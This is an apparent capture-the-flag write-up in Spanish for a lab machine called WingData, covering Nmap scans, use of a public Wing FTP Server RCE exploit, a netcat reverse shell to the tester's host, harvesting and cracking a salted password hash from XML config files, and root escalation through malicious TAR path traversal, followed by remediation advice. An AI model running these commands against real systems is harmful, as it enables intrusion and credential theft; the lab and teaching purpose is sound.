Key Findings
Durante el análisis de seguridad de la máquina WingData se identificaron las siguientes vulnerabilidades críticas:
- Wing FTP Server v7.4.3 vulnerable a ejecución remota de código (CVE-2025-47812)
- Credenciales almacenadas en archivos XML de configuración
- Hashes SHA-256 con salt débil (WingFTP)
- Privilegios sudo para ejecución de script Python de respaldo
- Vulnerabilidad de path traversal en archivo TAR (CVE-2025-4138 y CVE-2025-4517)
- Escalada de privilegios mediante manipulación de archivos TAR maliciosos
Key Learning Objectives
Los objetivos de aprendizaje clave en esta máquina incluyen:
- ✅ Port Scanning & Service Enumeration
- ✅ Virtual Host Discovery & Configuration
- ✅ Wing FTP Server Exploitation - CVE-2025-47812
- ✅ XML Configuration File Analysis
- ✅ SHA-256 Hash Cracking with Salt
- ✅ Sudo Privilege Analysis
- ✅ Python TAR Archive Exploitation
- ✅ Path Traversal Attack - CVE-2025-4138/4517
Reconnaissance & Enumeration
El reconocimiento inicial se realizó utilizando Nmap para identificar puertos abiertos y servicios en ejecución.
❯ sudo nmap -p- --open -n -Pn -vvv -oG ports <IP> --min-rate=2500
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 13:03 +0100
Initiating SYN Stealth Scan at 13:03
Scanning <IP> [65535 ports]
Discovered open port 22/tcp on <IP>
Discovered open port 80/tcp on <IP>
Completed SYN Stealth Scan at 13:04, 52.92s elapsed (65535 total ports)
❯ sudo nmap -p 22,80 -sCV -oN services <IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open http Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Resultados:
- Puerto 22/tcp: OpenSSH 9.2p1 Debian
- Puerto 80/tcp: Apache httpd 2.4.66
- Redirección a: http://wingdata.htb/
Antes de examinar la web, agregamos el dominio al archivo hosts:
❯ echo '<IP> wingdata.htb' | sudo tee -a /etc/hosts
Web Application Assessment
Al acceder a la aplicación web, observamos la página principal de WingData.
Al hacer clic en "Client Portal", nos redirige a http://ftp.wingdata.htb, pero no carga correctamente. Añadimos el subdominio al archivo hosts:
❯ echo '<IP> wingdata.htb ftp.wingdata.htb' | sudo tee /etc/hosts
Ahora podemos acceder al portal FTP donde observamos un formulario de Wing FTP Server.
Identificamos la versión del servicio:
Vulnerability Identification
Buscamos exploits disponibles para esta versión específica:
❯ searchsploit wing ftp 7.4.3
----------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) | multiple/remote/52347.py
----------------------------------------------------------------------------------------------------------- ---------------------------------
Encontramos un exploit para CVE-2025-47812. Lo traemos a nuestro directorio local:
❯ searchsploit -m multiple/remote/52347.py
❯ mv 52347.py exploit.py
Initial Access - RCE Exploitation
Preparamos un listener en nuestro equipo:
Ejecutamos el exploit para obtener una reverse shell:
❯ python3 exploit.py -u http://ftp.wingdata.htb -c 'nc 10.10.14.5 4444 -e /bin/bash'
Obtenemos acceso exitoso al sistema:
wingftp@wingdata:/opt/wftpserver$ whoami
wingftp
Credential Discovery
Exploramos el sistema y los usuarios existentes:
wingftp@wingdata:/opt/wftpserver$ ls /home
wacky
wingftp@wingdata:/opt/wftpserver$ pwd
/opt/wftpserver
Buscamos archivos que contengan credenciales en el directorio actual:
wingftp@wingdata:/opt/wftpserver$ grep -ril "password" .
./Data/_ADMINISTRATOR/admins.xml
./Data/1/users/maria.xml
./Data/1/users/steve.xml
./Data/1/users/wacky.xml
./Data/1/users/anonymous.xml
./Data/1/users/john.xml
./Data/1/settings.xml
./Data/settings.xml
Examinamos el archivo XML del usuario wacky y encontramos un hash:
wingftp@wingdata:/opt/wftpserver$ cat ./Data/1/users/wacky.xml | grep -i password --color=auto
<EnablePassword>1</EnablePassword>
<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
<PasswordLength>0</PasswordLength>
<CanChangePassword>0</CanChangePassword>
Hash Cracking
Identificamos el tipo de hash usando hashid:
❯ hashid -m 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
Analyzing '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca'
[+] Snefru-256
[+] SHA-256 [Hashcat Mode: 1400]
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94 [Hashcat Mode: 6900]
[+] GOST CryptoPro S-Box
[+] SHA3-256 [Hashcat Mode: 5000]
[+] Skein-256
[+] Skein-512(256)
Intentamos crackear con modo 1400, pero sin éxito:
❯ hashcat -m 1400 hash /usr/share/wordlists/rockyou.txt
Buscamos modos similares y encontramos el modo #1410 que requiere salt:
❯ hashcat --example | grep -A 30 -B 30 "Hash mode #1400"
Hash mode #1410
Name................: sha256($pass.$salt)
Category............: Raw Hash salted and/or iterated
Slow.Hash...........: No
Deprecated..........: No
Password.Type.......: plain
Password.Len.Min....: 0
Password.Len.Max....: 256
Salt.Type...........: Generic
Buscamos el salt en los archivos de configuración:
wingftp@wingdata:/opt/wftpserver$ grep -ril "salt" .
./Data/1/settings.xml
wingftp@wingdata:/opt/wftpserver$ cat ./Data/1/settings.xml | grep -i salt --color=auto
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>
Formateamos el hash correctamente con el salt:
# Formato: hash:salt
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP
Crackeamos el hash exitosamente:
❯ hashcat -m 1410 hash /usr/share/wordlists/rockyou.txt
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5
Contraseña encontrada: !#7Blushing^*Bride5
SSH Access & User Flag
Nos conectamos por SSH con las credenciales obtenidas:
wacky@wingdata:~$ whoami
wacky
wacky@wingdata:~$ cat /home/wacky/user.txt
Privilege Escalation Analysis
Verificamos los privilegios sudo del usuario:
wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
El usuario puede ejecutar como root un script Python para restaurar backups. Analizamos el script y descubrimos que está relacionado con vulnerabilidades en el manejo de archivos TAR:
- CVE-2025-4138 (HIGH) - Permite crear symlinks arbitrarios fuera del directorio de extracción con
filter="data"
- CVE-2025-4517 (CRITICAL) - Permite escritura arbitraria de archivos fuera del directorio de extracción con
filter="data"
TAR Exploitation - Path Traversal
Creamos un script Python para generar un archivo TAR malicioso que explote la vulnerabilidad de path traversal:
wacky@wingdata:~$ nano /tmp/make_evil.py
Ejecutamos el script para crear el archivo TAR malicioso:
wacky@wingdata:~$ python3 /tmp/make_evil.py
Ejecutamos el script de restauración con privilegios sudo:
wacky@wingdata:~$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_evil
Root Access Achievement
Una vez explotada la vulnerabilidad, obtenemos acceso root:
wacky@wingdata:~$ sudo su
root@wingdata:/home/wacky# whoami
root
Obtenemos la flag de root:
root@wingdata:~# cat /root/root.txt
Recomendaciones
Acciones Inmediatas
1. Wing FTP Server Security
- Actualizar Wing FTP Server a la última versión disponible
- Aplicar parches de seguridad para CVE-2025-47812
- Implementar autenticación robusta en todos los servicios FTP
- Restringir acceso a puertos y servicios no necesarios
2. Credential Management
- Eliminar credenciales almacenadas en archivos XML de configuración
- Implementar vault o sistema de gestión de secretos
- Usar hashes más robustos con salts únicos por usuario
- Implementar rotación regular de credenciales
3. Sudo Privilege Management
- Eliminar privilegios sudo innecesarios para scripts de backup
- Implementar validación estricta de entrada en scripts Python
- Restringir rutas y operaciones permitidas en scripts de backup
- Auditar regularmente privilegios sudo de usuarios
4. TAR Archive Handling
- Actualizar Python y bibliotecas de manejo de archivos TAR
- Implementar validación de paths antes de extraer archivos
- Usar filtros seguros para prevenir path traversal
- Aplicar parches para CVE-2025-4138 y CVE-2025-4517